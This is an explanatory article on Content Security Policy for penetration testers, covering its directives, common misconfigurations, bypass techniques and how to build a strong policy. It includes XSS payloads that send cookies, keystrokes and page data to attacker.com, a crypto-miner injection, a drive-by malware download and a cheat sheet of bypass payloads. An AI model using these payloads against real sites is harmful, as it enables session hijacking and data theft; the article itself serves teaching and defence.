Web Security

Understanding CSP from a Hacker's Point of View

What is Content Security Policy?

Content Security Policy (CSP) is a security standard that acts as an additional layer of defense against Cross-Site Scripting (XSS), clickjacking, and other code injection attacks. It's delivered via an HTTP response header that tells the browser which dynamic resources are allowed to load.

Think of CSP as a bouncer at a club with a strict guest list. Even if an attacker manages to inject malicious code into your page, the browser won't execute it unless it's on the approved list.

Here's what a basic CSP header looks like:

Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com; style-src 'self' 'unsafe-inline'

This policy tells the browser:

  • By default, only load resources from the same origin ('self')
  • Scripts can come from the same origin OR https://trusted-cdn.com
  • Styles can be inline or from the same origin

How CSP Works: The Browser's Perspective

When a browser receives a page with a CSP header, it creates a whitelist of trusted content sources. Before loading any resource or executing any script, the browser checks:

  1. Is there a CSP policy? If not, proceed normally (dangerous!)
  2. What type of resource is this? (script, style, image, etc.)
  3. Does the resource's source match the policy? If not, block it
  4. For inline scripts: Is there a valid nonce or hash? If not, block it

This is the enforcement flow:

Browser receives page with CSP header
        |
        v
    Parse CSP directives into policy object
        |
        v
    For each resource/script attempt:
        |
        +---> Check against relevant directive
        |         |
        |         +---> Source allowed? --> Load/Execute
        |         |
        |         +---> Source blocked? --> Block & Report (if report-uri set)
        |
        v
    Page renders with only approved content

CSP Directives: The Complete Arsenal

CSP provides granular control through various directives. Here are the most important ones:

Directive Controls Attacker Impact
default-src Fallback for all resource types Baseline restriction on all content
script-src JavaScript sources Blocks XSS payload execution
style-src CSS sources Prevents CSS injection attacks
img-src Image sources Blocks data exfiltration via images
connect-src AJAX, WebSocket, fetch() Prevents data theft to attacker servers
frame-src iframe sources Mitigates clickjacking
object-src Flash, Java plugins Blocks plugin-based attacks
base-uri <base> element Prevents base tag hijacking
form-action Form submission targets Stops form hijacking attacks

The Dangers of No CSP: An Attacker's Playground

Without CSP, a web application is essentially running with no guardrails. Let's examine what an attacker can do:

1. Classic XSS Exploitation

Without CSP, even a simple reflected XSS becomes devastating:

<!-- Attacker injects this via vulnerable parameter -->
<script>
    // Steal session cookies
    new Image().src = 'https://attacker.com/steal?cookie=' + document.cookie;

    // Capture keystrokes
    document.onkeypress = function(e) {
        fetch('https://attacker.com/log?key=' + e.key);
    };

    // Inject fake login form
    document.body.innerHTML = '<form action="https://attacker.com/phish">...</form>';
</script>

Real-World Impact

Without CSP, a single XSS vulnerability can lead to: session hijacking, credential theft, malware distribution, defacement, and complete account takeover. The attacker has full JavaScript execution in the context of your domain.

2. Data Exfiltration

Attackers can steal sensitive data displayed on the page:

// Exfiltrate via image request (bypasses same-origin restrictions)
var sensitiveData = document.querySelector('.account-balance').innerText;
new Image().src = 'https://attacker.com/steal?data=' + encodeURIComponent(sensitiveData);

// Exfiltrate via DNS (even sneakier)
var data = btoa(document.body.innerHTML);
new Image().src = 'https://' + data.substring(0,60) + '.attacker.com/x.png';

3. Cryptojacking

Inject cryptocurrency miners that run in victims' browsers:

<script src="https://coinhive.com/lib/coinhive.min.js"></script>
<script>
    var miner = new CoinHive.Anonymous('attacker-site-key');
    miner.start();
</script>

4. Drive-by Downloads

Force users to download malware:

// Auto-download malicious file
var link = document.createElement('a');
link.href = 'https://attacker.com/malware.exe';
link.download = 'important_update.exe';
link.click();

CSP Bypass Techniques: How Attackers Think

Even with CSP enabled, misconfigurations can leave doors open. Here's how attackers probe for weaknesses:

1. Exploiting 'unsafe-inline'

The most common CSP mistake. If the policy includes:

Content-Security-Policy: script-src 'self' 'unsafe-inline'

Then inline scripts are allowed, making XSS trivial:

<script>alert(document.cookie)</script>

Attacker Tip

Always check for 'unsafe-inline' in script-src. It's the most common CSP weakness and completely defeats XSS protection. Use browser DevTools (F12 > Console) to see CSP violation errors.

2. Exploiting 'unsafe-eval'

If 'unsafe-eval' is present:

Content-Security-Policy: script-src 'self' 'unsafe-eval'

Attackers can execute code through eval():

// If you can inject any data that gets eval'd
eval('alert(document.cookie)');

// Or through other eval-like functions
new Function('alert(document.cookie)')();
setTimeout('alert(document.cookie)', 0);

3. JSONP Endpoint Abuse

If a whitelisted domain has a JSONP endpoint, attackers can use it as a script gadget:

Content-Security-Policy: script-src 'self' https://trusted-api.com

Attack:

<!-- If trusted-api.com has JSONP -->
<script src="https://trusted-api.com/jsonp?callback=alert(document.cookie)//"></script>

The JSONP response becomes:

alert(document.cookie)//({data: "..."})

4. Angular/React/Vue Template Injection

If a framework library is whitelisted and the page uses client-side templating:

<!-- AngularJS (if ng-app is on page) -->
{{constructor.constructor('alert(document.cookie)')()}}

<!-- Vue.js -->
{{_c.constructor('alert(document.cookie)')()}}

5. CDN Hijacking / Script Gadgets

If a policy trusts a major CDN:

Content-Security-Policy: script-src 'self' https://cdnjs.cloudflare.com

Attackers search for dangerous libraries on that CDN:

<!-- Load AngularJS from trusted CDN, then exploit -->
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.2/angular.min.js"></script>
<div ng-app ng-csp>
    {{$eval.constructor('alert(document.cookie)')()}}
</div>

6. Base URI Manipulation

If base-uri isn't restricted:

<!-- Inject base tag to hijack relative script paths -->
<base href="https://attacker.com/">
<!-- Now all relative scripts load from attacker.com -->
<script src="/app.js"></script>  <!-- Loads https://attacker.com/app.js -->

7. Dangling Markup Injection

Even with strict CSP, data exfiltration might be possible:

<!-- If img-src allows external -->
<img src="https://attacker.com/steal?data=
<!-- Browser sends everything until the next quote as the URL -->

Real-World CSP Bypasses: Case Studies

Case Study: Google CSP Bypass (2016)

Google's CSP trusted *.google.com. Researchers found that Google's JSONP endpoints could be abused:

<script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert"></script>

This loaded Google's autocomplete JSONP and executed the callback as JavaScript.

Case Study: GitHub CSP Bypass via Subresource Integrity

Researchers discovered that GitHub's CSP could be bypassed by finding libraries on whitelisted CDNs that contained useful "gadgets" - code patterns that could be exploited for XSS when combined with attacker-controlled input.

Building a Strong CSP: Defense in Depth

Here's how to build a CSP that actually protects your application:

Step 1: Start with Report-Only Mode

Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report

This logs violations without blocking, letting you tune the policy.

Step 2: Use Nonces for Inline Scripts

Content-Security-Policy: script-src 'nonce-abc123RandomValue'
<script nonce="abc123RandomValue">
    // This script runs because nonce matches
    console.log('Legitimate script');
</script>

<script>
    // This is BLOCKED - no nonce attribute
    alert('XSS attempt');
</script>

Step 3: Use strict-dynamic for Modern Apps

Content-Security-Policy: script-src 'strict-dynamic' 'nonce-abc123'

'strict-dynamic' allows scripts loaded by trusted scripts, enabling modern JavaScript bundlers and frameworks.

Step 4: A Production-Ready CSP

Content-Security-Policy:
    default-src 'none';
    script-src 'self' 'nonce-{random}' 'strict-dynamic';
    style-src 'self' 'nonce-{random}';
    img-src 'self' data: https:;
    font-src 'self';
    connect-src 'self' https://api.yoursite.com;
    frame-ancestors 'none';
    base-uri 'self';
    form-action 'self';
    upgrade-insecure-requests;
    report-uri /csp-violation-report

Testing CSP: The Attacker's Methodology

When testing a target's CSP, follow this systematic approach:

1. Extract and Analyze the Policy

# Using curl
curl -sI https://target.com | grep -i content-security-policy

# Or in browser DevTools
# Network tab > Select document > Headers > Response Headers

2. Check for Common Weaknesses

  • 'unsafe-inline' in script-src or style-src
  • 'unsafe-eval' in script-src
  • Wildcards like *.example.com or https:
  • Missing object-src directive (defaults to default-src)
  • Missing base-uri restriction
  • Overly permissive whitelists (major CDNs)

3. Use CSP Evaluator Tools

Google CSP Evaluator: https://csp-evaluator.withgoogle.com/
Mozilla Observatory: https://observatory.mozilla.org/

4. Search for Bypass Gadgets

If trusted domains are whitelisted, search for:

  • JSONP endpoints
  • Angular/React/Vue libraries
  • Open redirects that could chain to script loading
  • File upload functionality on trusted domains

CSP Cheat Sheet for Penetration Testers

Quick Policy Analysis

DANGEROUS PATTERNS:
- 'unsafe-inline'     → Inline XSS works
- 'unsafe-eval'       → eval() XSS works
- *.googleapis.com    → Check for JSONP
- *.cloudflare.com    → Script gadgets available
- data:              → Data URI XSS possible
- https:             → Any HTTPS source allowed!
- 'self' with upload → Upload malicious JS

MISSING DIRECTIVES:
- No object-src      → Flash/plugin attacks
- No base-uri        → Base tag hijacking
- No frame-ancestors → Clickjacking possible
- No form-action     → Form hijacking possible

CSP Bypass Payloads

<!-- JSONP bypass (if callback param exists) -->
<script src="//whitelisted.com/jsonp?callback=alert(document.cookie)//"></script>

<!-- AngularJS bypass (if angular on trusted CDN) -->
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.2/angular.min.js"></script>
<div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>

<!-- Base tag hijack (if base-uri missing) -->
<base href="https://attacker.com/">

<!-- Data exfil via img (if img-src allows external) -->
<img src="https://attacker.com/?data=SENSITIVE_DATA_HERE">

<!-- Object/Embed bypass (if object-src missing) -->
<object data="https://attacker.com/malicious.swf"></object>

Key Takeaways

  • CSP is not a silver bullet — it's a defense-in-depth measure that complements proper input validation and output encoding
  • Misconfigured CSP is almost worse than no CSP — it creates a false sense of security
  • Always test CSP during penetration tests — many organizations deploy CSP but configure it poorly
  • Use nonces and strict-dynamic — avoid 'unsafe-inline' at all costs
  • Monitor CSP reports — they reveal both attacks and legitimate issues
  • Keep CSP updated — as your application changes, so should your policy

Final Thought

As a penetration tester or bug bounty hunter, CSP analysis should be part of your standard reconnaissance. A weak CSP can turn a low-severity injection point into a critical XSS vulnerability. Conversely, understanding CSP helps you write better reports by explaining why certain XSS findings are severe — or why CSP successfully mitigated your payload.